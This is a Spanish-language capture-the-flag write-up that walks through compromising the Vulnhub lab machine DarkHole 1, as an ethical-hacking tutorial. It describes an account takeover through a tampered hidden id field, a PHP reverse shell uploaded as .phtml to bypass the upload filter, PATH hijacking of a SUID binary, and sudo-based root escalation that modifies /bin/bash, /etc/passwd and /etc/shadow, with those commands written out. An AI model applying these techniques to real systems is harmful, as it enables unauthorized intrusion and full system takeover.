Writeup DarkHole 1
En este writeup, resolveré la máquina DarkHole 1 de Vulnhub, documentando cada paso y técnica empleada durante el proceso. A lo largo de este análisis, cubriré desde la recolección de información inicial hasta la explotación de vulnerabilidades y la escalada de privilegios, detallando las herramientas utilizadas y los métodos aplicados.
El objetivo es proporcionar una guía detallada para aquellos interesados en aprender sobre técnicas de pentesting y hacking ético, a través de un enfoque práctico y exhaustivo. Cada etapa del proceso será explicada en detalle para facilitar la comprensión de los desafíos encontrados y las soluciones implementadas. Este writeup está diseñado tanto para novatos como para usuarios avanzados que deseen mejorar sus habilidades en la resolución de máquinas de CTF.
1
2
3
4
5
6
____ _ _ _ _ _
| _ \ __ _ _ __| | _| | | | ___ | | ___ / |
| | | |/ _` | '__| |/ / |_| |/ _ \| |/ _ \ | |
| |_| | (_| | | | <| _ | (_) | | __/ | |
|____/ \__,_|_| |_|\_\_| |_|\___/|_|\___| |_|
Name: | DarkHole: 1 |
---|---|
Date release: | 18 Jul 2021 |
Author: | Jehad Alqurashi |
Series: | DarkHole |
Style: | Enumeration/Follow the breadcrumbs |
Goal: | get root (uid 0) and read the flag file |
Difficulty: | Easy |
Web page: | https://www.vulnhub.com/entry/darkhole-1,724/ |
Descripción
It’s a box for beginners, but not easy, Good Luck
Hint: Don’t waste your time For Brute-Force
Resolucion de la maquina
Fase de Fingerprinting / Reconocimiento (Reconnaissance)
Descubrimiento de IP objetivo en la red
Se realiza el descubrimiento de hosts activos en la red mediante netdiscover para identificar la IP de la máquina objetivo:
1
netdiscover -i eth0 -r 192.168.88.0/24
Resultado:
La máquina objetivo se encuentra en la IP 192.168.88.4.
Se comprueba la conectividad con la máquina usando ping:
1
ping -c 1 192.168.88.4
Resultado:
1
2
PING 192.168.88.4 (192.168.88.4) 56(84) bytes of data.
64 bytes from 192.168.88.4: icmp_seq=1 ttl=64 time=0.487 ms
Descubrimiento de puertos y servicios en el host objetivo
Se realiza un escaneo de puertos y servicios usando nmap. Para ello se guarda la IP objetivo en una variable llamada IP, a continuacion se escanean todos los puertos del objetivo para despues extraerlos a una lista.
Comandos:
1
2
3
4
export IP=192.168.88.4
nmap -p- $IP
nmap -p- $IP | awk '{print $1}' | grep -E '^[0-9]+' | cut -d'/' -f1 | paste -sd, - > puertos.txt
cat puertos
Con la lista de los puertos obtenidos se realiza un escaneo de los servicios que estan corriendo en esos puertos, el sistema operativo de la maquina objetivo y los scripts comunes para obtener informacion del objetivo mediante el comando:
1
nmap -sS -sV -sC -O $IP -oA scan
Descubrimos que la máquina tiene un servidor HTTP en el puerto 80 y un servidor SSH en el puerto 22 y que corre un sistema operativo: Linux 4.X o 5.X
PORT | STATE | SERVICE | VERSION |
---|---|---|---|
22/tcp | open | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
80/tcp | open | http | Apache httpd 2.4.41 ((Ubuntu)) |
Fase de Footprinting / Exploración (Scanning)
Exploracion puerto 80
Navegamos al puerto 80 para analizar el sitio web, buscando vulnerabilidades como fallos de configuración o funcionalidades ocultas.
Se descubre una pagina de login.
Se puede pensar en hacer fuerza bruta, pero el laboratorio nos da como consejo inicial que no se pierda tiempo en ello.
Tambien se descubre una pagina de registro.
Los campos de este formulario de registro son un poco confusos por lo que se investiga el codigo del formulario
Se obtiene que el campo 1 es el nombre de usuario, el campo 2 es el email y el campo 3 es la clave para el usuario. Todos estos campos son obligatorios.
Explotacion
Registro de nuevo usuario en el sistema
Se realiza el registro un usuario de prueba con los siguientes datos:
username | clave | |
---|---|---|
test | test@test.com | test |
Se comprueba el acceso con el usuario test recien creado y se obtiene acceso.
Abuso de navegacion en el sistema
Se aprecia que en la barra de navegacion aparece el ID del usuario
Se intenta comprobar si se tiene acceso a otros usuarios cambiando el ID en la barra de direcciones.
No tenemos acceso a la informacion de otro usuario al cambiar el valor de ID en la barra de direcciones.
Esta prueba no tuvo un final exitoso.
Abuso de cambio de contraseña
En esta pagina existen dos formularios con los que podriamos gestionar el usuario con el que estamos logados.
El primer formulario tiene como codigo:
1
2
3
4
5
<form name="event" method="post">
<input type="text" name="username" value="test">
<input type="email" name="email" value="test@test.com">
<input type="submit" id="fsubmit" value="Update" class="button">
</form>
Y el segundo:
1
2
3
4
5
<form name="event" method="post">
<input type="password" name="password" id="ftitle" placeholder="New Password">
<input type="hidden" name="id" value="2">
<input type="submit" id="fsubmit" value="Change" class="button">
</form>
Como se puede apreciar existe un campo de tipo hidden (oculto) que contiene el valor del id. Este valor se enviara cuando se lance el boton submit.
Se va a probar el envio del formulario cambiando el valor del id antes de su envio.
Para ello uso burpsuite y se accede al panel de usuario “test” para probar el cambio de clave.
Se rellena el formulario con una clave nueva “nuevaclave” y antes de pulsar el boton “change” se activa el interceptador en burpsuite para capturar el request de la pagina.
Lo pasamos al modulo de repeater de burpsuite para modificar la peticion y enviarla con el valor de id=1.
Se pulsa el boton “send” y en el panel “Response” se obtiene el mensaje “Password has been updated”. Por lo que se comprueba que ha funcionado el cambio de clave para el usuario con id=1
Se prueba a acceder con el usuario “admin” y la clave nueva que se ha establecido “nuevaclave”
Y se consigue el acceso al panel del usuario admin
Este panel es diferente ya que añade un modulo en el cual se permite la carga de ficheros.
Abuso del modulo de subida de ficheros al servidor
Voy a realizar la subida de una shell reversa en el servidor web a traves del modulo de subida de ficheros para de esta forma obtener una shell en la maquina objetivo.
El primer paso sera obtener la ip de la maquina atacante
1
ifconfig eth0
A continuación necesito generar un fichero que contenga una shell reversa.
Como se ha visto las paginas que carga el servidor son paginas php, por lo que idealmente podriamos cargar una shell en un fichero php.
Para ello puedo usar la herramienta Reverse Shell Generator que se puede encontrar en revshells.com configurando los parametros y eligiendo el tipo de listener a usar.
Obtengo un codigo malicioso para crear un fichero php con una shell reversa a la maquina atancante.
Creo un fichero llamado antivirus.php donde insertare el codigo que he obtenido de la web revshells.com
Los parametros que he definido en el archivo malicioso son la IP 192.168.88.3 y el puerto 7331, con ello levanto netcat como listener en dicho puerto
Subo el fichero antivirus.php.
Al subirlo el servidor nos responde que no se pudo subir ya que solo permite ficheros jg, png y gif
Renombro el fichero con la extension phtml
Y realizo de nuevo la subida del fichero.
Veo que me da el mensaje Upload File Successful y me da enlace al fichero subido.
Accedo al enlace para ejecutar el codigo malicioso en el servidor y con ello obtener la shell al sistema.
Se ha conseguido acceso al sistema con el usuario www-data
Post Explotacion
Enumeracion local
Enumeracion del sistema
Comandos:
1
2
3
4
5
6
hostname
cat /etc/issue
cat /etc/*release
uname -a
lscpu
df -h
Enumeracion de usuarios del sistema
Comandos:
1
2
3
4
5
6
whoami
groups root
cat /etc/passwd | grep sh
groups
who
lastlog | grep "Never"
Con estos comandos he conseguido saber lo siguiente:
- El unico usuario con permisos root es el usuario root
- El usuario www-data solo es miembro de www-data
- Existen tres usuario en la maquina objetivo con posiblidad de acceder a una terminal:
root
,darkhole
yjohn
- La ultima vez que han hecho login en la maquina los usuarios.
Enumeración de Red
Compruebo la enumeracion de la red sin obtener grandes hallazgos que no conociese ya.
Enumeracion de SUID
Ejecuto el comando:
1
find / -perm -4000 2>/dev/null
y obtengo:
En este listado hay un directorio que me llama la atencion del usuario john
Compruebo el contenido de la carpeta home del usuario john
Comando:
1
2
cd /home/john
ls -lisah
En esta carpeta llama la atencion la carpeta .ssh que tiene permisos para el grupo www-data y el fichero toto
ya encontrado anteriormente que tiene activo el bit SUID.
Escalada de privilegios
Voy a realizar la escalada de privilegios apoyandome en los hallazgos obtenidos en la enumeracion local.
Escalada de privilegio sobre ejecutable de sistema
Al ejecutar .toto se comprueba que ejecuta el comando id
del sistema.
Podemos crear nuestra propia version del comando id
para abusar de permisos de ejecucion y obtener una shell con permisos del usuario.
Para hacer esto tengo que estar en una carpeta con permisos de escritura, habitualmente linux tiene definida la carpeta /tmp como carpeta con permisos de escritura para todos los usuarios.
1
cd /tmp
A continuacion creo el fichero id al cual le añadire una linea con la llamada a /bin/bash
1
echo '/bin/bash' > id
Le cambiamos los permisos con el comando
1
chmod 777 id
En el PATH del sistema añadimos como primera carpeta la carpeta /tmp
1
export PATH=/tmp:$PATH
A continuacion ejecuto el fichero toto
y obtengo una shell desde el usuario john.
Compruebo la carpeta del usuario
El usuario john es propietario de varios archivos
- file.py
- user.txt
- password
Si compruebo el contenido de estos ficheros obtengo la flag para el usuario john, y una clave.
1
flag DarkHole{You_Can_DO_It}
Compruebo el acceso al sistema con john:root123 atraves de ssh.
Compruebo desde el usuario john sobre que binarios tiene permisos de ejecucion de root con el comando:
1
sudo -l
Obtengo que tiene permisos de ejecucion sobre el binario file.py
Compruebo el fichero file.py
El fichero file.py esta vacio. Voy a abusar de los permisos de ejecucion en este fichero añadiendole codigo.
Dependiendo del codigo que añada puedo conseguir el acceso root de diferentes formas:
Escalada de privilegios a root – Tecnica # 01 – setting SUID bit on /bin/bash
Puedo establacer el bit SUID a /bin/bash si añado el siguiente contenido al fichero file.py
Comandos:
1
2
3
#file.py
import os;
os.system('chmod +s /bin/bash')
Ahora ejecuto file.py como usuario root
1
sudo -u root /usr/bin/python3 /home/john/file.py
El sistema nos solicita la clave para john y ejecuta el contenido de file.py estableciendo el bit SUID para /bin/bash
Ahora ejecuto una instancia de bash
1
bash -p
Y consigo obtener el acceso con permisos de root.
Escalada de privilegios a root – Tecnica # 02 – PASSWD file
Puedo añadir un usuario al fichero /etc/passwd para poder acceder con permisos root al sistema
Comandos:
1
2
3
#file.py
import os;
os.system('chmod 777 /etc/passwd')
Ahora ejecuto file.py como usuario root
1
sudo -u root /usr/bin/python3 /home/john/file.py
Compruebo que el fichero /etc/passwd
ahora tiene permisos completos.
A continuacion añado al usuario ibl4zqu3z
con clave 123
en el fichero /etc/passwd
con permisos de root sobre /bin/bash
1
echo 'ibl4zqu3z:$1$UcH1bqbq$q2aTjHzGSqyXJxsE92LRw1:0:0:root:/root:/bin/bash' >> /etc/passwd
Esto me permite que al cambiar al usuario ibl4zqu3z
en la maquina haga un login con permisos de root desde el usuario john.
Escalada de privilegios a root – Tecnica # 03 – SHADOW file
Puedo establecer una clave en el fichero /etc/shadow para cualquier usuario de la maquina
Comandos:
1
2
3
#file.py
import os;
os.system('chmod 777 /etc/shadow')
Ahora ejecuto file.py como usuario root
1
sudo -u root /usr/bin/python3 /home/john/file.py
Compruebo que el fichero /etc/shadow
ahora tiene permisos completos.
A continuacion genero un hash de contraseña de tipo SHA-512 para cambiarle la contraseña al usuario root por la clave 123
Comando:
1
openssl passwd -6
Accedo al fichero /etc/shadow y realizo el cambio de contraseña
Con esto ya podemos hacer login con el usuario y obtener el acceso root